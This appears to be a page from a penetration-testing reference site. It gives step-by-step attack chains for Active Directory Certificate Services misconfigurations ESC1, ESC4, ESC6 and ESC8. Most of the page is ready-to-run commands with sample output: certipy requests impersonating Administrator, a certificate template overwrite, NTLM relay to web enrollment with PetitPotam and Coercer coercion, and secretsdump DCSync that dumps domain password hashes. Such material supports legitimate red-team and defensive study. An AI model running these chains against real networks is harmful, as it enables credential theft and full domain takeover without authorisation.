# ADCS Exploitation: ESC1, ESC4, ESC6, ESC8

> Exploiting Active Directory Certificate Services misconfigurations (ESC1-ESC8) to escalate privileges or achieve domain compromise via certificate abuse.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/adcs-exploitation
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

ADCS exploitation uses misconfigured certificate templates or CA settings to obtain a certificate for a privileged account without knowing that account's credentials. The certificate is then used to request a TGT or retrieve the account's NT hash via PKINIT. Most paths lead to Domain Admin in a single chain.

ESC variants covered on this page:

- ESC1: template allows arbitrary UPN in Subject Alternative Name
- ESC4: template ACL allows modification, convert to ESC1 conditions
- ESC6: CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` enabled
- ESC8: NTLM relay to AD CS web enrollment over HTTP

Run [ADCS Misconfiguration Discovery](https://hackindex.io/platforms/active-directory/vulnerability-discovery/adcs-misconfiguration-discovery) first to confirm which ESC variant is present before using any technique here.

## ESC1: certificate for arbitrary UPN

ESC1 allows a low-privileged user to request a certificate with an arbitrary Subject Alternative Name. By specifying a Domain Admin UPN in the SAN, the resulting certificate authenticates as that account. This is a direct path to Domain Admin from any domain user account.

**ESC1: request certificate as Domain Admin**

```bash
# Request certificate with DA UPN as SAN
# Replace 'VulnTemplate' with the template name from Certipy find output
certipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'VulnTemplate' -upn 'Administrator@$DOMAIN'

# Pass-the-Hash
certipy req -u $USER@$DOMAIN -hashes :$NTHASH -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'VulnTemplate' -upn 'Administrator@$DOMAIN'
# [*] Requesting certificate via RPC
# [+] Successfully requested certificate
# [*] Certificate: administrator.pfx
```

**ESC1: convert certificate to NT hash and TGT**

```bash
# Use the certificate to authenticate and retrieve NT hash
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# Certipy outputs both TGT (ccache) and NT hash
# TGT is saved as administrator.ccache
# NT hash is printed directly

# Use TGT
export KRB5CCNAME=administrator.ccache
impacket-secretsdump $DOMAIN/Administrator@$TARGET_HOSTNAME -k -no-pass

# Use NT hash directly
nxc smb 192.168.1.0/24 -u Administrator -H $NTHASH
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [+] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] NT hash for 'administrator': fc525c9683e8fe067095ba2ddc971889
```

## ESC4: modify template then exploit as ESC1

ESC4 gives you write access on a certificate template object. Use Certipy to overwrite the template configuration to introduce ESC1 conditions, request a certificate as a privileged account, then restore the original template to avoid leaving a permanent misconfiguration.

**ESC4: overwrite template, exploit, restore**

```bash
# Step 1: save original template config
certipy template -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -template 'VulnTemplate' -save-old

# Step 2: overwrite template with ESC1 conditions
certipy template -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -template 'VulnTemplate' -configuration VulnTemplate.json

# Step 3: request certificate as DA using modified template
certipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'VulnTemplate' -upn 'Administrator@$DOMAIN'

# Step 4: authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# Step 5: restore original template
certipy template -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -template 'VulnTemplate' -configuration VulnTemplate.json.bak
# [+] Successfully updated template 'VulnTemplate'
# [+] Successfully requested certificate
# [*] NT hash for 'administrator': fc525c9683e8fe067095ba2ddc971889
```

## ESC8: NTLM relay to AD CS web enrollment

ESC8 relays NTLM authentication from a coerced DC or privileged account to the CA web enrollment endpoint. The relay requests a certificate on behalf of the coerced account. Since DCs authenticate with their machine account, a relayed DC authentication yields a DC certificate: which can then be used to perform DCSync via PKINIT.

This requires the CA web enrollment endpoint to be running over HTTP and NTLM relay protections to be absent.

**ESC8: relay setup**

```bash
# Terminal 1: start ntlmrelayx targeting the CA web enrollment endpoint
impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

# Terminal 2: coerce DC authentication toward your host
# PetitPotam (standalone tool: clone from github.com/topotam/PetitPotam)
python3 PetitPotam.py $LHOST $DC_IP

# With credentials
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $DC_IP

# Alternative: Coercer covers PetitPotam, PrinterBug, and others
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN -l $LHOST -t $DC_IP
# [*] SMBD-Thread-4: Connection from CORP/DC01$ CORP.LOCAL
# [*] Authenticating against http://10.10.10.10/certsrv/certfnsh.asp as CORP/DC01$
# [+] Successfully requested certificate for DC01$
# [*] Base64 certificate for DC01$: MIIRbQIBAzCC...
```

**ESC8: use DC certificate for DCSync**

```bash
# Save the base64 certificate output from ntlmrelayx
echo '$BASE64_CERT' | base64 -d > dc01.pfx

# Authenticate as DC machine account: outputs TGT and NT hash
certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP

# Use the TGT for DCSync
export KRB5CCNAME=dc01$.ccache
impacket-secretsdump -k -no-pass $DOMAIN/'DC01$'@$DC_HOSTNAME
# [+] Got TGT
# [*] NT hash for 'DC01$': a3b4c5d6e7f8...
#
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
```

## ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

When this flag is set on the CA, any template accepts a custom SAN in the certificate request regardless of individual template settings. Exploitation is identical to ESC1 but works against any enrollable template: the default User template is usually sufficient.

**ESC6: request certificate via any template**

```bash
# Works against any template with enrollment rights
certipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -ca 'corp-DC01-CA' -template 'User' -upn 'Administrator@$DOMAIN'

# Convert to NT hash and TGT
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
# [+] Successfully requested certificate
# [*] NT hash for 'administrator': fc525c9683e8fe067095ba2ddc971889
```

After obtaining an NT hash via certificate authentication, proceed to [DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover) to dump all domain hashes, or use [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-hash-and-pass-the-ticket) to move laterally immediately.

## References

- [Certipy: GitHub](https://github.com/ly4k/Certipy) - req, auth, template, find command reference
- [Impacket: GitHub](https://github.com/fortra/impacket) - ntlmrelayx --adcs flag for ESC8 relay
- [PetitPotam: GitHub](https://github.com/topotam/PetitPotam) - MS-EFSR coercion for triggering DC authentication
- [Coercer: GitHub](https://github.com/p0dalirius/Coercer) - Multi-protocol coercion tool covering PetitPotam, PrinterBug, and others
- [Certified Pre-Owned: SpecterOps](https://posts.specterops.io/certified-pre-owned-d95910965cd2) - Original ESC1-ESC8 exploitation research
